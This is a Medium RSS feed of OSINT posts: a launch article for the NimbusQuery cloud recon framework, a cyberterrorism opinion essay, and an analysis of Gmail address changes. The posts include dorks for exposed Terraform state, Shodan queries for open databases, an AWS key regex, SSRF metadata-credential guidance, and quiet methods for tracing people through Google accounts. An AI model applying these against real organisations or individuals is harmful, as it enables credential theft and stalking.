<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by s0m3one on Medium]]></title>
        <description><![CDATA[Stories by s0m3one on Medium]]></description>
        <link>https://medium.com/@0s1nt?source=rss-a28e7b7d0372------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*ASGtB0AHxihVyoNc</url>
            <title>Stories by s0m3one on Medium</title>
            <link>https://medium.com/@0s1nt?source=rss-a28e7b7d0372------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 01:53:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0s1nt/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[NimbusQuery: How a GitHub List Became a Full Cloud OSINT Framework (And Why It’s Free)]]></title>
            <link>https://0s1nt.medium.com/nimbusquery-how-a-github-list-became-a-full-cloud-osint-framework-and-why-its-free-3514ff56fa7c?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/3514ff56fa7c</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[osint-investigation]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 04:26:59 GMT</pubDate>
            <atom:updated>2026-04-09T04:26:59.952Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practitioner’s take on building the tool I wish existed when I started doing cloud recon.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYUx1W-GqODzFsSTDCikEw.png" /></figure><h3>The Origin Story</h3><p>Back in the day, a colleague and I started compiling cloud OSINT resources into what eventually became the <a href="https://github.com/7WaySecurity/cloud_osint">7WaySecurity/cloud_osint</a> repository on GitHub. The idea was simple: every time we found a useful Google dork for S3 buckets, a URL pattern for Azure Blob storage, or a tool that actually worked for cloud enumeration — we’d throw it into a shared repo.</p><p>My friend kept maintaining it on GitHub. It grew organically — dorks, URL patterns, tools, links. The community noticed. Stars started coming in. It landed in several “awesome OSINT” lists. But it was still just a README. A really good README, sure — but a flat document you had to scroll through, copy-paste from, and mentally organize into some kind of workflow.</p><p>I kept thinking: <em>what if this was actually interactive?</em></p><p>Not just a list, but a framework. Something where you select your target cloud provider and immediately get the relevant dorks, patterns, and tools. Something where you can build custom queries, track your investigation progress, follow a methodology, and export your findings.</p><p>That’s how <strong>NimbusQuery</strong> was born.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*bMeaiSry7NUQcqm6e7HcFA.png" /></figure><h3>What Is NimbusQuery?</h3><p>NimbusQuery is a free, web-based Cloud OSINT Framework. It takes the curated intelligence from the original <a href="https://github.com/7WaySecurity/cloud_osint/">7WaySecurity repository</a> and wraps it in an interactive interface — then adds a significant amount of original content that doesn’t exist anywhere else in a single, free resource.</p><p>It’s a single-page application. No backend, no accounts, no tracking. Everything runs in your browser.</p><p>The core philosophy: <strong>every phase of a cloud reconnaissance engagement should have tooling support, right there, in one tab.</strong></p><h3>The NimbusQuery Methodology</h3><p>The framework is structured around a 6-phase reconnaissance pipeline that I developed based on how I actually work cloud engagements:</p><p><strong>Phase 01 — Scope (Target Definition)</strong> Before touching any tool, you define the target. Organization names, subsidiaries, brands, product names. You identify which cloud providers they use through DNS records, job postings, public filings. NimbusQuery gives you the dorks and URL patterns to make this fast.</p><p><strong>Phase 02 — Discover (Passive Recon)</strong> Zero interaction with target infrastructure. Subdomain enumeration through certificate transparency, DNS record analysis, historical DNS lookups. The Dorks tab and URL Patterns tab support this phase.</p><p><strong>Phase 03 — Enumerate (Asset Mapping)</strong> Now you’re actively mapping cloud assets: storage buckets, compute endpoints, serverless functions, container registries. The Tools tab curates the best open-source options. Regions and IP Ranges tabs give you the reference data.</p><p><strong>Phase 04 — Extract (Secret &amp; Credential Hunting)</strong> This is where NimbusQuery adds significant original content. The Regex Patterns library, IaC OSINT dorks, and Command Cheatsheet give you everything needed to hunt for leaked credentials across cloud storage, code repos, and configuration files.</p><p><strong>Phase 05 — Assess (Vulnerability Identification)</strong> Subdomain takeover fingerprints, SSRF metadata endpoints, Kubernetes/container exposure dorks, Shodan/Censys queries, and CIS Benchmark passive checks — all tools for identifying exploitable conditions.</p><p><strong>Phase 06 — Analyze (Intelligence &amp; Reporting)</strong> MITRE ATT&amp;CK mapping, breach case studies for correlation, threat actor profiles, and professional report templates. Everything you need to turn raw findings into actionable intelligence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RA1raxtAcDFbmVexApH0iw.png" /></figure><h3>The Modules — What Makes This Different</h3><p>Let me walk through what NimbusQuery actually contains, because several of these modules don’t exist compiled in any other free resource.</p><h3>Google Dorks (From 7WaySecurity + Extended)</h3><p>The dork library covers AWS, Azure, GCP, and multi-cloud queries. But unlike a static list, NimbusQuery lets you type a target and every dork updates in real time. One click to copy, one click to open in Google. You also get the <strong>Dork Combinator</strong> — a visual builder where you select site + filetype + custom terms and generate queries on the fly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fo78Xer2iBb2mLuo9L3_aw.gif" /></figure><p><strong>Example:</strong> You’re investigating acmecorp.com. Type it once, and every dork becomes site:s3.amazonaws.com &quot;acmecorp.com&quot; — ready to fire.</p><h3>Regex Patterns Library</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*An7JmPUJbfjoeR2vh1WAvQ.png" /></figure><p>21 regex patterns for detecting leaked secrets, organized by provider:</p><ul><li><strong>AWS:</strong> AKIA keys, STS tokens, ARN formats, S3 URLs</li><li><strong>Azure:</strong> Storage keys, connection strings, SAS tokens, SQL connection strings</li><li><strong>GCP:</strong> API keys (AIza prefix), OAuth tokens, service account JSON markers</li><li><strong>Generic:</strong> Private key headers, JWTs, GitHub tokens, Slack webhooks, Terraform state markers</li></ul><p>Each pattern has a severity rating and click-to-copy. You paste these into grep, your SIEM, or any regex-capable tool.</p><p><strong>Example:</strong> You find an open S3 bucket with .env files. Grab the AKIA[0-9A-Z]{16} regex, run it against the downloaded files, and you know immediately if there are live AWS keys.</p><h3>Subdomain Takeover Fingerprints</h3><p>14 cloud services with their CNAME patterns, response fingerprints, exploitability status, and severity. Services covered: S3, CloudFront, Elastic Beanstalk, Azure Web Apps, Azure Front Door, GitHub Pages, Heroku, Firebase, Netlify, Vercel, Fastly, Shopify, and more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4lJ9gpsd4x9AxmsX9KiyA.png" /></figure><p><strong>Example:</strong> You enumerate subdomains and find staging.target.com with a CNAME to *.azurewebsites.net. The NimbusQuery table tells you the fingerprint is &quot;404 Web Site not found&quot; and it&#39;s exploitable — you know what to look for.</p><h3>SSRF / Cloud Metadata Endpoints</h3><p>Complete metadata endpoint reference for AWS, Azure, GCP, Oracle OCI, and Alibaba Cloud. Each endpoint includes the exact URL, required headers (IMDSv2 token, Metadata: true, Metadata-Flavor: Google), and what data it returns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXk1QzjSZU1sRpGmLP3ZYg.gif" /></figure><p>This is the reference you pull up during a pentest when you’ve confirmed SSRF and need to know exactly which paths to hit for credential extraction.</p><h3>IaC OSINT</h3><p>12 dorks specifically targeting Infrastructure-as-Code exposure: Terraform files, .tfstate state files (which contain every secret in your infrastructure), CloudFormation templates, ARM templates, Pulumi configs, and Docker Compose files with hardcoded cloud credentials. Each dork has a severity rating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b2-DrTp7217amp4TdGk8FA.gif" /></figure><p><strong>Example:</strong> The dork &quot;terraform.tfstate&quot; &quot;serial&quot; &quot;lineage&quot; finds exposed Terraform state files — these contain every password, API key, and connection string in the infrastructure. Critical severity.</p><h3>Kubernetes &amp; Container OSINT</h3><p>13 dorks for exposed K8s dashboards, Grafana instances, open K8s APIs, Docker registries, K8s Secrets and ConfigMaps, kubeconfig files, ArgoCD dashboards, and Prometheus endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwv95zTG99KaiP57ltkXOg.png" /></figure><h3>Shodan &amp; Censys Query Library</h3><p>31 queries organized by provider, with direct links to execute on Shodan or Censys. Covers exposed databases on cloud IPs, open Docker APIs, Elasticsearch instances, K8s dashboards, Jenkins, Harbor, Consul, Vault, etcd, and more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7cnTeorXR5dqs9YSvy2jhQ.gif" /></figure><p><strong>Example:</strong> cloud.provider:&quot;Amazon&quot; hostname:&quot;.amazonaws.com&quot; port:3306,5432,27017 finds exposed MySQL, PostgreSQL, and MongoDB instances running on AWS. One click opens it in Shodan.</p><h3>CIS Benchmark Passive Checks</h3><p>18 security controls from CIS Benchmarks that you can verify passively — without authenticated access. Covers AWS S3, Azure Blob, GCP GCS, and Kubernetes. Each check includes the exact passive test you can run.</p><p><strong>Example:</strong> CIS AWS 2.1.5 says S3 buckets shouldn’t be publicly accessible. The passive test: aws s3 ls s3://{bucket} --no-sign-request — if it lists files, the control is failing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iGBBjMOcZeO2cfyargNCuw.gif" /></figure><h3>Cloud Threat Actor Profiles</h3><p>6 detailed profiles of groups known for targeting cloud infrastructure: TeamTNT, Scattered Spider, LAPSUS$, APT29/Cozy Bear, Kinsing, and Storm-0558. Each profile includes their cloud-specific TTPs, target providers, activity period, MITRE ATT&amp;CK technique IDs, and — this is the unique part — links to the NimbusQuery modules that would detect their techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-QR1NeR1ZWu5I2s8CTXIag.png" /></figure><h3>MITRE ATT&amp;CK Cloud Mapping</h3><p>8 ATT&amp;CK techniques mapped to NimbusQuery modules. Reconnaissance, Resource Development, Initial Access, Discovery, Collection, Credential Access — each with the specific cloud techniques and a direct link to the relevant tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ZGwPwfPwNWefBDr6B22lA.gif" /></figure><h3>Report Templates</h3><p>4 professional, copy-paste-ready templates: Responsible Disclosure Email, Executive Summary, Vulnerability Report Section, and Bug Bounty Report. Each with proper structure, placeholders, and formatting ready for real use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lE4OYq0Cgt3lqIzpOGKVyA.gif" /></figure><h3>Investigation Notepad &amp; Activity Tracking</h3><p>A built-in scratchpad where you paste findings as you work. The intelligence panel shows your target, how many items you’ve copied, how many phases you’ve visited, and your playbook progress. When you export to JSON, your notes and progress are included.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h5LTtB75iGCf_gCt9xcE_A.png" /></figure><h3>Playbooks with Checklist Mode</h3><p>Step-by-step guided workflows per provider and component (S3 Recon, Blob + AD Recon, GCS &amp; Firebase, Full 7-Phase Recon). Each step has a checkbox you can mark as completed, with a progress bar showing completion. Phases go green with a checkmark when done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hSH7-F2qWgHR9mtquwz_qw.gif" /></figure><h3>Dark Mode</h3><p>Because of course.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7YeEBIq_nlmLyvc6l29Yw.png" /></figure><h3>Who Is This For?</h3><ul><li><strong>Pentesters</strong> running cloud-focused engagements who need a quick reference with copy-paste queries</li><li><strong>Bug bounty hunters</strong> looking for cloud misconfigurations in their target’s infrastructure</li><li><strong>Red teamers</strong> mapping cloud attack surfaces during reconnaissance phases</li><li><strong>Security analysts</strong> performing cloud security posture reviews</li><li><strong>OSINT researchers</strong> investigating organizations’ cloud footprint</li><li><strong>Students</strong> learning cloud security and wanting a structured methodology to follow</li></ul><h3>What It’s NOT</h3><p>NimbusQuery doesn’t scan anything. It doesn’t send packets. It doesn’t access any API. It’s a reference framework and investigation workbench — the intelligence layer that sits between you and the actual tools.</p><p>Think of it as your tactical reference card for cloud recon. The dorks, patterns, endpoints, and commands are all there. You execute them with your own tools, in your own authorized context.</p><h3>Try It / Contribute</h3><p>NimbusQuery is free, open-source, and hosted as a static site — no backend, no telemetry.</p><p><strong>Try it:</strong> <a href="https://nimbusquery.org/">https://nimbusquery.org/</a></p><p><strong>Contribute:</strong> Leave me a message here and I’ll get in touch to receive your contributions, feedback, and more — everything is very welcome</p><h3>Credits</h3><p>The cloud dork collection, URL patterns, and tool catalog are adapted from <a href="https://github.com/7WaySecurity/cloud_osint">7WaySecurity/cloud_osint</a> (MIT License) — the project my colleague maintains and that served as the foundation for this work.</p><p>Everything else — the regex patterns library, subdomain takeover fingerprints, SSRF/metadata endpoints, IaC and Kubernetes OSINT techniques, some Shodan/Censys queries, CIS passive checks, threat actor profiles, MITRE ATT&amp;CK mapping, breach case studies, command cheatsheets, report templates, investigation notepad, playbook methodology, and the NimbusQuery framework itself — is original work. <strong>Powered by me and friends of </strong><a href="https://bugsbounter.team/"><strong>bugs b0unt3r</strong></a></p><p><em>If you found this useful, give it a clap and share it with your team. Cloud misconfigurations are still one of the top attack vectors — having the right framework for recon makes the difference between finding the exposure before or after someone else does.</em></p><p><em>Follow me for more OSINT content.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3514ff56fa7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Invisible War]]></title>
            <link>https://0s1nt.medium.com/the-invisible-war-25dde4d47912?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/25dde4d47912</guid>
            <category><![CDATA[cyberterrorism]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[politics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Sun, 05 Apr 2026 05:44:34 GMT</pubDate>
            <atom:updated>2026-04-05T05:44:34.663Z</atom:updated>
            <content:encoded><![CDATA[<p>How Cyberterrorism Is Rewriting the Rules of Global Security</p><p><em>— and Why Most Governments Are Failing to Keep Up —</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k2vjuLD2WWN3acdGIj_u9A.gif" /></figure><h3>The Day the Lights Went Out</h3><p>Imagine waking up on a freezing Monday morning. No electricity. No running water. Your phone displays a single, eerie message from an unknown sender: <em>“We own your city now.”</em> This is not the plot of a Hollywood thriller — it is a scenario that could happen to any major city in the world today. Welcome to the age of cyberterrorism, where the battlefield is invisible, the weapons are lines of code, and the casualties could be counted in the millions.</p><p>My nickname 1v07, and in this article I want to pull back the curtain on one of the most dangerous yet misunderstood threats of our time. Off the top of my head, most people associate terrorism with physical violence — bombs, hostages, armed conflicts. But the number of cyberattacks is going to skyrocket in the coming years, and sooner or later, everyone will be affected by this silent war.</p><h3>What Exactly Is Cyberterrorism?</h3><p>At its core, cyberterrorism is the use of digital tools — malware, ransomware, phishing campaigns, distributed denial-of-service attacks — to intimidate, disrupt, or destroy critical systems for ideological, political, or religious purposes. Unlike traditional cybercrime, which usually chases money, cyberterrorism is predicted to become the preferred weapon of non-state actors who want to cause maximum chaos with minimum resources.</p><p>Think about it: a single hacker group operating from a basement could shut down an entire hospital network, a power grid, or a water-treatment plant. The damage isn’t theoretical. <strong>It turned out that</strong> the 2021 Colonial Pipeline attack — which left fuel stations dry across the U.S. East Coast — was carried out by a relatively small criminal syndicate. Now imagine a state-sponsored cell with the same capabilities but with life and death motivations.</p><h3>What the Future Holds: Predictions</h3><p>Experts predict that cyberterrorism will increasingly target civilian infrastructure rather than military installations. The logic is chilling: attacking a hospital is going to generate more public fear than attacking an army base. Artificial intelligence is expected to amplify these threats exponentially, as attackers will be able to automate operations that once required months of planning.</p><p>After giving this matter some serious thought, I believe we are likely to witness a major cyberterrorism event targeting a G7 nation within the next five years. By and large, governments are not prepared. The more connected our cities become, the more vulnerable they will be — smart grids, autonomous vehicles, and cloud-based healthcare records all represent doors waiting to be kicked open.</p><h3>What Specialists Have Said</h3><p>Cybersecurity researcher Bruce Schneier has repeatedly warned that our digital infrastructure is bound to collapse under a sophisticated, coordinated attack. Former NSA director Admiral Mike Rogers predicted that it was only a matter of time before a cyberattack caused real-world physical destruction. Time and again, specialists have sounded the alarm.</p><p>Europol’s annual threat assessment forecasts that terrorist organizations are going to recruit more tech-savvy operatives, blending traditional radicalization with advanced technical training. Meanwhile, the World Economic Forum has consistently ranked cyberattacks among the top five global risks. The writing is on the wall: we are running out of time to act.</p><h3>Wins, Losses, and Lessons Learned</h3><p>On the bright side, some nations have been able to build impressive cyber-defence ecosystems. Estonia, after suffering a crippling attack in 2007, managed to transform its entire digital infrastructure into one of the most resilient in the world. Israel has succeeded in creating a cybersecurity industry worth billions, fuelled by mandatory military service that doubles as a tech bootcamp. Trial and error played a key role in both cases — they learned from catastrophe.</p><p>However, many countries have been unable to keep up. The United Kingdom’s National Health Service failed to protect patient data during the WannaCry ransomware outbreak, exposing the records of hundreds of thousands of people. Several Latin American governments have not managed to allocate adequate budgets for cyber-defence, leaving each and every citizen at risk. They dropped the ball, and the consequences have been severe.</p><h3>A Harsh but Necessary Critique</h3><p>As far as I’m concerned, the biggest failure has been political inaction. Governments should have been investing in cyber-defence years ago, long before attackers became this sophisticated. They should have done more to educate the public about digital hygiene — reusing passwords and clicking suspicious links shouldn’t be normalized in 2026.</p><p>International organizations could have established a unified global treaty on cyberterrorism, similar to the Geneva Conventions. They could have been collaborating across borders instead of hoarding intelligence. <strong>At every turn</strong>, bureaucracy and national pride have gotten in the way. Too many cooks spoil the broth, and in cybersecurity, that proverb is fatally accurate.</p><p>Private tech companies should be doing far more as well. Social media platforms shouldn’t have been allowing extremist content to spread unchecked for as long as they did. Little by little, radicalization moved online, and platforms <strong>turned their backs on</strong> the problem until public outrage forced their hand.</p><h3>Solutions: Time for Blue-Sky Thinking</h3><p>Having given this question due consideration, I am of the opinion that we need to challenge assumptions about cybersecurity from the ground up. The only thing that occurs to me right now is that the current reactive approach — patching holes after an attack — is a losing strategy. We need to change perspective entirely.</p><p>First, governments must work on creating mandatory cybersecurity curricula in schools. If children learn to code, they should also learn to defend. Second, nations should collaborate on a global cyber-treaty that defines cyberterrorism as an act of war and establishes shared defence protocols. This might seem like a silly thought, but what about creating a Cyber-NATO — a dedicated alliance focused exclusively on digital threats?</p><p>Third, we must act promptly to regulate artificial intelligence in offensive cyber-operations. Visualizing a future where AI-driven attacks overwhelm human defenders is not science fiction — it is a persistent and growing reality. We cannot afford to sleep on it. How about investing in quantum-resistant encryption before quantum computing renders our current protections obsolete?</p><p>Finally, each and every individual has a role to play. Consciously adopting better digital habits — two-factor authentication, encrypted communications, regular backups — can transform adversity into opportunity. <strong>In turn</strong>, a more security-conscious population makes it exponentially harder for cyberterrorists to find easy targets. Maybe we should look at it from a different perspective: cybersecurity is not just an IT problem — it is a civic duty, safe and sound digital practices protect us all.</p><h3>Conclusion: The Clock Is Ticking</h3><p>Know what I think? Neither governments nor citizens can afford to remain passive any longer. Both public institutions and private companies must keep this threat in perspective and understand that the next major attack is not a question of <em>if</em>, but <em>when</em>. No matter how many campaigns we launch, no matter how many conferences are held — action, not talk, is what we need.</p><p>I have come to the conclusion that cyberterrorism is the defining security challenge of our generation. We cannot <strong>turn back the clock</strong> to a simpler time, but we can <strong>turn our hand to</strong> building a safer digital future. Being philosophical about it won’t help — enduring attack after attack without systemic change is not resilience; it is negligence.</p><p>My view on this issue is clear: we are getting more and more dependent on technology, and more and more of our critical infrastructure lives online. We need to bite the bullet and invest — massively and urgently — in the defences that will determine whether our connected world becomes a fortress or a house of cards.</p><p><em>As the old saying goes:</em></p><p><strong><em>“An ounce of prevention is worth a pound of cure.”</em></strong></p><p><em>— Benjamin Franklin</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25dde4d47912" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Gmail is no longer your identity. Google just broke a few OSINT workflows and nobody noticed.]]></title>
            <link>https://0s1nt.medium.com/your-gmail-is-no-longer-your-identity-google-just-broke-a-few-osint-workflows-and-nobody-noticed-ff8b271ac31f?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff8b271ac31f</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[digital-investigation]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 17:04:35 GMT</pubDate>
            <atom:updated>2026-04-03T15:54:57.514Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxfUveUp0utkpSLMhYT7dw.gif" /></figure><h3>The tweet everyone scrolled past</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*YS_5UCqqDMrGW9qm9eunSw.png" /></figure><p>Google dropped a PSA that sounds harmless: you can now change your @gmail.com address without losing your emails, your Drive, your YouTube, nothing. Your old email stays as an alias and keeps receiving messages. Sounds like you can finally ditch that <a href="/service/mailto:darkangel_2004@gmail.com"><em>darkangel_2004@gmail.com</em></a> you’ve been dragging around since middle school.</p><p>But those of us who dig into digital accounts for a living read something entirely different.</p><h3>Some context: why Gmail is gold for OSINT</h3><p>If you’re not deep into OSINT, you might not grasp what a Gmail address really represents. It’s not just a mailbox. It’s the master key to someone’s entire Google universe:</p><ul><li>Their YouTube channel (including the one they think is anonymous)</li><li>Their Google Maps reviews (which reveal where they eat, where they work, where they hang out)</li><li>Their Google Photos (sometimes with geolocation baked in)</li><li>Their Drive documents (which tons of people accidentally leave public)</li><li>Their calendar (if they never touched the privacy settings — and almost nobody does)</li></ul><p>All of this is connected by an internal identifier Google calls the <strong>GAIA ID</strong> — a 21-digit number that ties every Google property to a single identity. Tools like <strong>GHunt</strong>, <strong>Epieos</strong>, and <strong>Holehe</strong> have been exploiting this connection for years: you feed them a Gmail address and they spit out everything that person has exposed across the Google ecosystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dBshOS-CBoGXPqDQuG9q9w.png" /></figure><p>Now imagine that person changes their email. What happens to that whole chain?</p><h3>What actually changes (and what doesn’t)</h3><p>This is where it gets interesting.</p><h3>What does NOT break</h3><p>The GAIA ID stays the same. Doesn’t matter if your email is now <a href="/service/mailto:john.professional@gmail.com"><em>john.professional@gmail.com</em></a> instead of <a href="/service/mailto:johnxxx69@gmail.com"><em>johnxxx69@gmail.com</em></a> — under the hood, Google still uses the same identifier to link all your services. If an investigator already has your GAIA ID, the email change doesn’t affect them at all.</p><p>On top of that, your old email <strong>stays alive</strong>. Google keeps it as an alias. It still receives mail, it still works for logging in. Meaning: if someone already had your old email on file, that data point is still valid for investigating you.</p><h3>What DOES get messy</h3><p>The trouble starts when someone begins using their new email on external services. If a target signs up for Twitter, LinkedIn, or any other platform with the new address, an investigator who only knows the old email won’t find those new accounts.</p><p>The digital footprint also splits: the same person now has two legitimate emails. Tools like Holehe (which checks if an email is registered on 120+ sites) will give you different results depending on which of the two you search. If you don’t know they’re the same person, you might think you’re looking at two different people.</p><p>And there’s a subtler issue: if the part before @gmail.com changes, the person’s username on other platforms probably changes too. Sherlock and WhatsMyName — which hunt usernames across hundreds of sites — lose the correlation if the investigator doesn’t know that <em>johnxxx69</em> and <em>john.professional</em> are the same guy.</p><h3>How this hits the tools we use</h3><h3>GHunt</h3><p>For me, GHunt is still the Swiss army knife of Google OSINT. It works off the GAIA ID, so as long as you can resolve an email (old or new) to the account’s ID, the tool works fine. The catch is that GHunt was already hurting: since 2024, Google has been patching the APIs it used to pull account holder names, and the project’s own docs admit that feature has been unreliable.</p><p>The username change doesn’t kill GHunt, but it adds yet another layer of uncertainty.</p><h3>Epieos</h3><p>Epieos is what I reach for when I need something fast and don’t want to install anything. You throw in an email and it tells you which services it’s registered on — Google, Skype, and a whole lot more. When Google patched the name lookup via email, the Epieos team shipped a workaround within days and even contributed a patch to GHunt. They’re fast.</p><p>The question now is: if you search someone’s old email after they’ve changed it, will Epieos still return the same Google account info? That depends on how Google treats the alias internally in their APIs. This is something the community is going to have to test case by case.</p><h3>Holehe</h3><p>Holehe is ruthless for mapping where someone has accounts: it probes password recovery pages on 120+ sites without alerting the target. The impact here is straightforward: services registered with the old email still show up when you search the old email. But anything new, registered with the updated address, is invisible to anyone who only has the previous one.</p><h3>Sherlock / WhatsMyName / Maigret</h3><p>These tools search by username. If someone was <em>darkangel_2004</em> everywhere and now switches to <em>johngarcia</em>, the correlation breaks. Unless the investigator knows both handles — which isn’t always the case.</p><h3>The bigger picture: Google has been closing doors for a while</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*amCb2bsGpja7VNVz57k-Qg.png" /></figure><p>This isn’t happening in a vacuum. Google has been tightening privacy across its ecosystem step by step:</p><p><strong>2024</strong> — They blocked the visibility of first and last names tied to Gmail accounts. Direct hit to GHunt and Epieos.</p><p><strong>February 2025</strong> — They patched a vulnerability where you could extract a YouTube user’s GAIA ID through the block function in live chats. Two researchers (BruteCat and Nathan) found that by combining this with a legacy Pixel Recorder API, they could convert GAIA IDs into email addresses. Google shut down both vectors and also isolated YouTube’s blocking system so it no longer affected other Google services.</p><p><strong>Late 2025 / 2026</strong> — They roll out the Gmail username change. Another layer of obfuscation.</p><p>The pattern is clear: Google is shrinking what you can learn about an account from the outside. They’re not eliminating it entirely, but you have to work harder for the same intel every time.</p><h3>What still works</h3><p>Not all is lost. Not even close. These are the paths I still use that hold up:</p><p><strong>The GAIA ID is still the anchor.</strong> If you can resolve either email to the GAIA ID, the cross-correlation between Google services stays intact. GHunt, OSINT Industries’ online version, and homemade scripts can do this.</p><p><strong>Epieos for quick mapping.</strong> Still the most efficient way to check which platforms outside Google an email is registered on. And it doesn’t notify the target.</p><p><strong>Google Maps is an underrated goldmine.</strong> Reviews are public by default. If someone leaves reviews on restaurants, hotels, stores — you’re seeing where they live, where they travel, what they like. Accessible through the GAIA ID contributions URL.</p><p><strong>Data breaches.</strong> The old email will keep showing up in historical breaches. The new one will eventually land in future breaches. Have I Been Pwned and similar services are non-negotiable.</p><p><strong>Google Dorks.</strong> They feel like a relic but they still work insanely well. Misconfigured servers, exposed documents, leaked credential files — Google indexes them all.</p><p><strong>Drive metadata.</strong> If someone shares a Google Drive document with you (or leaves it public), browser dev tools let you pull the owner’s ID from the source code. Look for \x2210 and \x2211.</p><p><strong>Email cross-correlation.</strong> GitHub tools like <a href="https://github.com/OSINT-mindset/gmail-analytics-check">gmail-analytics-check</a> can verify if an alternate email is linked to a Google account, revealing the primary address (or alias) and the GAIA ID.</p><h3>The uncomfortable part: who benefits and who loses</h3><p>Let’s be honest about this. The same feature that lets a harassment victim disconnect from an email their stalker knows also lets a scammer cover their tracks.</p><p>A journalist in an authoritarian country running a whistleblowing YouTube channel benefits massively from being able to change their Gmail. A guy running romance scams who wants to reinvent himself… also benefits.</p><p>There’s no clean answer here. What is clear is that <strong>relying on a single identifier for an investigation doesn’t cut it anymore</strong>. Serious OSINT has always been about correlating multiple signals, and this just confirms it.</p><h3>What to do with all of this</h3><p><strong>If you investigate:</strong></p><ul><li>Always save both emails when you spot a change. Don’t toss the old one.</li><li>Pivot to the GAIA ID as soon as possible. It’s more stable than the email as an identifier.</li><li>Run Epieos and Holehe against both addresses and compare results.</li><li>Don’t sleep on Maps. It’s the last thing people think to lock down.</li><li>Monitor breaches for both addresses.</li></ul><p><strong>If you want to protect your privacy:</strong></p><ul><li>Changing your email is a solid first step, but don’t get comfortable. Your old email is still active.</li><li>Go through the privacy settings on every Google service: Maps, YouTube, Photos, Calendar, Drive. All of them.</li><li>Update your email on every external service where you used it. If you don’t, you’re exposed on two fronts.</li><li>Think about whether you actually need the alias to stay active.</li></ul><h3>Wrapping up</h3><p>Google drops a feature that looks cosmetic — “change your email” — but underneath it moves pieces that affect the entire digital investigation ecosystem.</p><p>It doesn’t kill OSINT. The GAIA ID is still there, the old email is still alive, Maps reviews are still public. But it adds noise. And in investigations, noise is the enemy of clarity.</p><p>Those of us who do this for a living will adapt, like we always do. Tools will evolve, new techniques will surface, somebody in the community will find a workaround nobody expected.</p><p>Because that’s how this game works: Google closes a door and someone finds the window.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff8b271ac31f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[¿Era un mejor hacker sin la IA?]]></title>
            <link>https://0s1nt.medium.com/era-un-mejor-hacker-sin-la-ia-cb0f3c222007?source=rss-a28e7b7d0372------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb0f3c222007</guid>
            <category><![CDATA[ciberseguridad]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[inteligencia-artificial]]></category>
            <dc:creator><![CDATA[s0m3one]]></dc:creator>
            <pubDate>Fri, 27 Mar 2026 04:48:31 GMT</pubDate>
            <atom:updated>2026-03-27T04:48:31.815Z</atom:updated>
